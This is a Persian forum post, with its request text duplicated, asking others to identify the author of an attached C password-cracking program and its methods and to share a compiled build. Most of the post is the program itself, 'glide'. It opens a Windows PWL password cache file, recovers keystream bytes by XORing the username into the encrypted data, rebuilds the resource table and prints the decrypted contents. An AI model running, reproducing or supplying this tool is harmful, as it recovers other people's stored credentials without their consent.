سلام دوستان. . .
خواستم بروبچه های تیم برنامه نویسی یه بررسی بکنن ببینن این سورس کد مال کدوم کرکر هست و چه روشهایی از کرک رو انجام میده ...:106:
در ضمن برنامه کامپایل شده ش رو هم بزاره . . .
ممــــــــــنـــــــــــــــون:103:
خواستم بروبچه های تیم برنامه نویسی یه بررسی بکنن ببینن این سورس کد مال کدوم کرکر هست و چه روشهایی از کرک رو انجام میده ...:106:
در ضمن برنامه کامپایل شده ش رو هم بزاره . . .
ممــــــــــنـــــــــــــــون:103:
کد:
#include <stdio.h> #include <string.h> #include <process.h> #include <stdlib.h> #include <ctype.h> #include <conio.h> unsigned char huge Data[100001]; unsigned char keystream[1001]; int Rpoint[300]; void main (int argc,char *argv[]) { FILE *fd; int i,j,k; int size; char ch; char *name; int cracked; int sizemask; int maxr; int rsz; int pos; int Rall[300]; /* recource allocation table */ if (argc<2) { printf("usage: glide filename (username)"); exit(1); } /* read PWL file */ fd=fopen(argv[1],"rb"); if(fd==NULL) { printf("can't open file %s",argv[1]); exit(1); } size=0; while(!feof(fd)) { Data[size++]=fgetc(fd); } size--; fclose(fd); /* find username */ name=argv[1]; if(argc>2) name=argv[2]; printf("Username: %s\n",name); /* copy encrypted text into keystream */ cracked=size-0x0208; if(cracked<0) cracked=0; if(cracked>1000) cracked=1000; memcpy(keystream,Data+0x208,cracked ); /* generate 20 bytes of keystream */ for(i=0;i<20;i++) { ch=toupper(name[i]); if(ch==0) break; if(ch=='.') break; keystream[i]^=ch; }; cracked=20; /* find allocated recources */ sizemask=keystream[0]+(keystream[1]<<8); printf("Sizemask: %04X\n",sizemask); for(i=0;i<256;i++) Rall[i]=0; maxr=0; for(i=0x108;i<0x208;i++) { if(Data[i]!=0xff) { Rall[Data[i]]++; if (Data[i]>maxr) maxr=Data[i]; } } maxr=(((maxr/16)+1)*16); /* recource pointer table size appears to be divisable by 16 */ /* search after recources */ Rpoint[0]=0x0208+2*maxr+20+2; /* first recource */ for(i=0;i<maxr;i++) { /* find size of current recource */ pos=Rpoint[i]; rsz=Data[pos]+(Data[pos+1]<<8); rsz^=sizemask; printf("Analyzing block with size: %04x\t(%d:%d)\n",rsz,i,Rall[i]); if( (Rall[i]==0) && (rsz!=0) ) { printf("unused resource has nonzero size !!!\n"); printf("If last line produced any : You may try to recover\n"); printf("press y to attempt recovery\n"); ch=getch(); if(ch!='y') exit(0); rsz=2; i-=1; } pos+=rsz; /* Resources have a tendency to have the wrong size for some reason */ /* check for correct size */ if(i<maxr-1) { while(Data[pos+3]!=keystream[1]) { printf(":",Data[pos+3]); pos+=2; /* very rude may fail */ } } pos+=2; /* include pointer in size */ Rpoint[i+1]=pos; } Rpoint[maxr]=size; /* insert Table data into keystream */ for(i=0;i <= maxr;i++) { keystream[20+2*i]^=Rpoint[i] & 0x00ff; keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff; } cracked+=maxr*2+2; printf("%d bytes of keystream recovered\n",cracked); /* decrypt resources */ for(i=0;i < maxr;i++) { rsz=Rpoint[i+1]-Rpoint[i]; if (rsz>cracked) rsz=cracked; printf("Recource[%d] (%d)\n",i,rsz); for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[i]+j]^keystream[j]); printf("\n"); } exit(0); }